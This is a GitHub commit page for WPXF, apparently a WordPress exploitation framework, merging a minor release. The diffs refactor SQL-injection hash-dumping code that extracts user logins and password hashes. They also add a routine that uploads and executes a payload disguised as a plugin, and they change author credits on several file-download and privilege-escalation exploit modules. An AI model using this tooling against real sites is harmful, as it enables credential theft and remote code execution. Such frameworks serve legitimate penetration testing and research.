Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c496255

Browse files
committed
Merge branch 'development'
2 parents 50f2c83 + ce1a079 commit c496255

File tree

238 files changed

+894
-482
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

238 files changed

+894
-482
lines changed

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.8
1+
1.8.1

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,14 @@ def reveals_one_row_per_request
2929
false
3030
end
3131

32+
# @return [Array] an array of values to use in the generated union statement.
33+
def hashdump_custom_union_values
34+
[]
35+
end
36+
3237
# @return [String] a unique SQL select statement that can be used to extract the hashes.
3338
def hashdump_sql_statement
34-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
39+
cols = hashdump_union_cols
3540
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
3641

3742
query = "select #{cols.join(',')} from #{table_prefix}users"
@@ -40,9 +45,9 @@ def hashdump_sql_statement
4045
"#{query} limit #{current_row},1"
4146
end
4247

43-
# @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
48+
# @return [String] a unique select statement that can be used to fingerprint the database prefix.
4449
def hashdump_prefix_fingerprint_statement
45-
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
50+
cols = hashdump_union_cols
4651
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
4752

4853
query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
@@ -100,7 +105,7 @@ def run
100105

101106
@current_row = 0
102107
emit_info 'Dumping user hashes...'
103-
hashes = dump_and_parse_hashes
108+
hashes = dump_and_parse_hashes.uniq
104109
output_hashdump_table(hashes)
105110

106111
export_hashes(hashes) if export_path
@@ -109,6 +114,16 @@ def run
109114

110115
private
111116

117+
def hashdump_union_cols
118+
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
119+
120+
hashdump_custom_union_values.each_with_index do |value, index|
121+
cols[index] = value unless value.nil?
122+
end
123+
124+
cols
125+
end
126+
112127
def bof_token
113128
@bof_token
114129
end

lib/wpxf/wordpress/plugin.rb

Lines changed: 26 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,12 @@ module Wpxf::WordPress::Plugin
77
# @return [String, nil] the nonce, nil on error.
88
def wordpress_plugin_upload_nonce(cookie)
99
res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie)
10-
if res && res.code == 200
10+
11+
if res&.code == 200
1112
return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
1213
end
14+
15+
nil
1316
end
1417

1518
# Create and upload a plugin that encapsulates the current payload.
@@ -22,11 +25,29 @@ def wordpress_upload_payload_plugin(name, payload_name, cookie)
2225
return false if nonce.nil?
2326

2427
res = wordpress_upload_plugin(name, payload_name, cookie, nonce)
25-
if res && res.code == 200
26-
return true
27-
else
28-
return false
28+
res&.code == 200
29+
end
30+
31+
# Upload and execute a payload as a plugin.
32+
# @param plugin_name [String] the name of the plugin.
33+
# @param payload_name [String] the name the payload should use on the server.
34+
# @param cookie [String] a valid admin session cookie.
35+
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
36+
def wordpress_upload_and_execute_payload_plugin(plugin_name, payload_name, cookie)
37+
unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
38+
emit_error 'Failed to upload the payload'
39+
return nil
2940
end
41+
42+
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
43+
emit_info "Executing the payload at #{payload_url}..."
44+
res = execute_get_request(url: payload_url)
45+
46+
if res&.code == 200 && !res.body.strip.empty?
47+
emit_success "Result: #{res.body}"
48+
end
49+
50+
res
3051
end
3152

3253
# Generate a valid WordPress plugin header / base file.

lib/wpxf/wordpress/urls.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -123,4 +123,9 @@ def wordpress_url_rest_api
123123
def wordpress_url_comments_post
124124
normalize_uri(full_uri, 'wp-comments-post.php')
125125
end
126+
127+
# @return [String] the admin / plugin options URL.
128+
def wordpress_url_admin_options
129+
normalize_uri(wordpress_url_admin, 'admin.php')
130+
end
126131
end

modules/auxiliary/ad_widget_php_file_download.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ def initialize
99
update_info(
1010
name: 'Ad-Widget <= 2.11.0 Authenticated PHP File Download',
1111
author: [
12-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'rastating' # WPXF module
1313
],
1414
references: [
1515
['WPVDB', '8789']

modules/auxiliary/all_in_one_migration_export.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ def initialize
1414
All-in-One Migration plugin in versions < 2.0.5.
1515
),
1616
author: [
17-
'James Golovich', # Disclosure
18-
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
'James Golovich', # Disclosure
18+
'rastating' # WPXF module
1919
],
2020
references: [
2121
['WPVDB', '7857'],

modules/auxiliary/antioch_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Antioch Theme Arbitrary File Download',
1111
author: [
12-
'Ashiyane Digital Security Team', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Ashiyane Digital Security Team', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['WPVDB', '8406']

modules/auxiliary/candidate_application_form_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ def initialize
99
update_info(
1010
name: 'Candidate Application Form Arbitrary File Download',
1111
author: [
12-
'Larry W. Cashdollar', # Disclosure
13-
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
'Larry W. Cashdollar', # Disclosure
13+
'rastating' # WPXF module
1414
],
1515
references: [
1616
['EDB', '37754']

modules/auxiliary/cp_image_store_arbitrary_file_download.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ def initialize
1414
file accessible by the user the web server is running as.
1515
),
1616
author: [
17-
'Joaquin Ramirez Martinez', # Disclosure
18-
'Rob Carr <rob[at]rastating.com>' # WPXF module
17+
'Joaquin Ramirez Martinez', # Disclosure
18+
'rastating' # WPXF module
1919
],
2020
references: [
2121
['EDB', '37559']

modules/auxiliary/custom_contact_forms_privilege_escalation.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,8 @@ def initialize
1313
'5.1.0.3, allows unauthenticated users to create new admin users '\
1414
'due to lack of validation when uploading SQL files.',
1515
author: [
16-
'Marc-Alexandre Montpas', # Vulnerability discovery
17-
'Rob Carr <rob[at]rastating.com>' # WPXF module
16+
'Marc-Alexandre Montpas', # Vulnerability discovery
17+
'rastating' # WPXF module
1818
],
1919
references: [
2020
['URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html'],

0 commit comments

Comments
 (0)